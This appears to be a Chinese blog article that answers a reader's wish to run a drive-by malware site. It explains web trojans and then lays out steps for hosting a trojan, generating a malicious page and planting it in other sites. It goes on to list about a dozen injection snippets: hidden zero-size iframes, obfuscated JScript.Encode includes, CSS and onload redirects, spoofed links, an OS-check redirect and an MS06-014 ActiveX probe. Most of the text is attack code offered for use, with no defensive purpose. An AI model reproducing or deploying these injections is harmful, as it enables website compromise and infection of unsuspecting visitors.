今天,有一位網友問了我一個問題,他自己已經有了網站了,現在他想做成“掛馬”這種網站,只要打開它,電腦就有可能感染木馬病毒。
木馬是需要觸發才有效果的,觸發條件:要么欺騙用戶主動,要么利用漏洞。可能他對木馬、掛馬、網馬這些不是很理解,因此我特意發了此篇文章。
一、掛馬、網馬介紹
1、掛馬
從“掛馬”這個詞中就知道,它和“木馬”脫離不了關系,的確,掛馬的目的就是將木馬傳播出去。
黑客入侵了一些網站之后,將自己編定的網頁木馬嵌入到其網站的頁面(通常是在網站主頁)中,利用該網站的流量將自己的網頁木馬傳播出去從而達到自己的目的。
2、網馬
網馬,即“網頁木馬”,就是將木馬和網頁結合在一起,當打開網頁的時候就會自動下載并運行其木馬程序。
二、網頁木馬運行原理
最初的網頁木馬就是利用了IE瀏覽器的ActiveX控件,在運行網頁木馬的時候會彈出一個控件下載提示,只有經過用戶確認后才會運行其中的木馬。
目前新型的木馬通常利用IE瀏覽器存在的漏洞來傳播網頁木馬。
當然,現在瀏覽器不僅僅是指IE,還有很多其它的瀏覽器,例如:谷歌、百度、360、搜狗、QQ、火狐瀏覽器......等等。
三、網頁掛馬步驟
1、申請網站空間:將木馬程序和網馬全部上傳到該網站空間,使其可以被訪問,假如申請成功后的網站空間地址為“http://www.xxx.com/xxx”;
2、上傳木馬程序:上傳完成后木馬的訪問地址為“
http://www.xxx.com/horse.exe”;
3、使用網頁木馬生成器生成網馬:假如生成后網馬地址為“
http://www.xxx.com/horse.htm”;
4、進行掛馬:將生成后的網馬地址嵌入到其他正常的網站頁面,假如嵌入到騰訊的主頁“
http://www.qq.com/index.htm”;
四、網頁掛馬的實現方式
1、框架掛馬
<iframe src=地址 width=0 height=0></iframe>
2、JS文件掛馬
首先將以下代碼:
document.write("<iframe width='0' height='0' src='地址'></iframe>");
保存為xxx.js。
則JS掛馬代碼為:
<script language=JAVAscript src=xxx.js></script>
3、JS變形加密
<SCRIPT language="JScript.Encode" src=https://www.fujieace.com/muma.txt></script>
muma.txt可改成任意后綴;
4、body掛馬
<body onload="window.location='地址';"></body>
5、隱蔽掛馬
top.document.body.innerhtml = top.document.body.innerHTML + 'rn<iframe src="https://www.fujieace.com/muma.htm/"></iframe>';
6、css掛馬
body {
background-image: url('JavaScript:document.write("<script src=https://www.fujieace.com/muma.js></script>")')}
7、JAJA掛馬
<SCRIPT language=javascript>
window.open ("地址","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1");
</script>
8、圖片偽裝
<html>
<iframe src="網馬地址" height=0 width=0></iframe>
<img src="圖片地址"></center>
</html>
9、偽裝調用
<frameset rows="444,0" cols="*">
<frame src="打開網頁" framborder="no" scrolling="auto" noresize marginwidth="0"margingheight="0">
<frame src="網馬地址" frameborder="no" scrolling="no" noresize marginwidth="0"margingheight="0">
</frameset>
10、高級欺騙
<a href="http://www.163.com(迷惑連接地址,顯示這個地址指向木馬地址)" onMouseover="www_163_com(); return true;"> 頁面要顯示的內容 </a>
<SCRIPT Language="JavaScript">
function www_163_com ()
{
var url="網馬地址";
open(url,"NewWindow","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,copyhistory=yes,width=800,height=600,left=10,top=10");
}
</SCRIPT>
11、判斷系統代碼
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD><TITLE>404</TITLE>
<META http-equiv=Content-Type content="text/html; charset=windows-1252">
<META content="MSHTML 6.00.2900.2769" name=GENERATOR></HEAD>
<BODY>
<SCRIPT language=javascript>
window.status="";
if(navigator.userAgent.indexOf("Windows NT 5.1") != -1)
window.location.href="tk.htm";
else
window.location.href="upx06014.htm";
</SCRIPT>
</BODY></HTML>
12、判斷是否有ms06014代碼
<script language=VBScript>
on error resume next
set server = document.createElement("object")
server.setAttribute "classid", "clsid:10072CEC-8CC1-11D1-986E-00A0C955B42E"
set File = server.createobject(Adodb.Stream,"")
if Not Err.Number = 0 then
err.clear
document.write ("<iframe src=https://www.fujieace.com width=100% height=100% scrolling=no frameborder=0>")
else
document.write ("<iframe src=https://www.fujieace.com width=100% height=100% scrolling=no frameborder=0>")
end if
</script>
13、智能讀取js的代碼demo
//讀娶src的對象
var v = document.getElementById("advjs");
//讀娶src的參數
var u_num = getUrlParameterAdv("showmatrix_num",v.getAttribute('src'));
document.write("<iframe src="https://www.fujieace.com/1/"+u_num+".htm" width="0" height="0" frameborder="0"></iframe>");
document.writeln("<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">");
document.writeln("<HTML><HEAD>");
document.writeln("<META http-equiv=Content-Type content="text/html; charset=big5">");
document.writeln("<META content="MSHTML 6.00.2900.3059" name=GENERATOR></HEAD>");
document.writeln("<BODY> ");
document.writeln("<DIV style="CURSOR: url('https://www.fujieace.com/demo.js')">");
document.writeln("<DIV ");
document.writeln("style="CURSOR: url('https://www.fujieace.com/demo.js')"></DIV></DIV></BODY></HTML>")
//分析src的參數函數
function getUrlParameterAdv(asName,lsURL){
loU = lsURL.split("?");
if (loU.length>1){
var loallPm = loU[1].split("&");
for (var i=0; i<loallPm.length; i++){
var loPm = loallPm.split("=");
if (loPm[0]==asName){
if (loPm.length>1){
return loPm[1];
}else{
return "";
}
}
}
}
return null;
文章來源公眾號:程哥講安全